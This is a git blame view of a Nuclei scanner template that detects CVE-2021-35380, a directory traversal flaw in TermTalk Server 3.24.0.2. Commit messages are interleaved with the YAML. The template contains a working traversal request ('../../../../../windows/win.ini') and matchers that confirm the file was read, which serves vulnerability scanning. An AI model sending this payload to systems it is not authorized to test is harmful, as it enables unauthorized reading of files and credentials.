daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-35380.yaml

46 lines
1.7 KiB
YAML
Raw Normal View History

Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
id: CVE-2021-35380
info:
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
name: TermTalk Server 3.24.0.2 - Local File Inclusion
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
author: fxploit
severity: high
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
description: |
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
Added Impact
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
reference:
- https://www.swascan.com/solari-di-udine/
- https://www.exploit-db.com/exploits/50638
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- https://www.swascan.com/it/security-blog/
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot:
2024-01-29 17:11:14 +00:00
- https://github.com/anonymous364872/Rapier_Tool
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
classification:
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
cve-id: CVE-2021-35380
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cwe-id: CWE-22
Revert "TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot:" This reverts commit 433dda4ae5b824564b44075bb95a96ecdbe263a6.
2024-04-08 11:34:33 +00:00
epss-score: 0.23467
epss-percentile: 0.96147
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: solari
product: termtalk_server
auto tagging via templateman
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,termtalk,lfi,unauth,lfr,edb,solari
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
- method: GET
path:
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
matchers:
- type: word
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
part: body
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
Auto Template Signing [Tue Jan 30 06:46:18 UTC 2024] :robot:
2024-01-30 06:46:18 +00:00
# digest: 490a0046304402201049687d7055f539322e4410a7114608b1866683ac30c589fc9f8b1207b39bac022031fcf5d29996d0c09d94724b89f5f871ca1112d0c801d367951c80f2f395de11:922c64590222798bb761d5b6d8e72950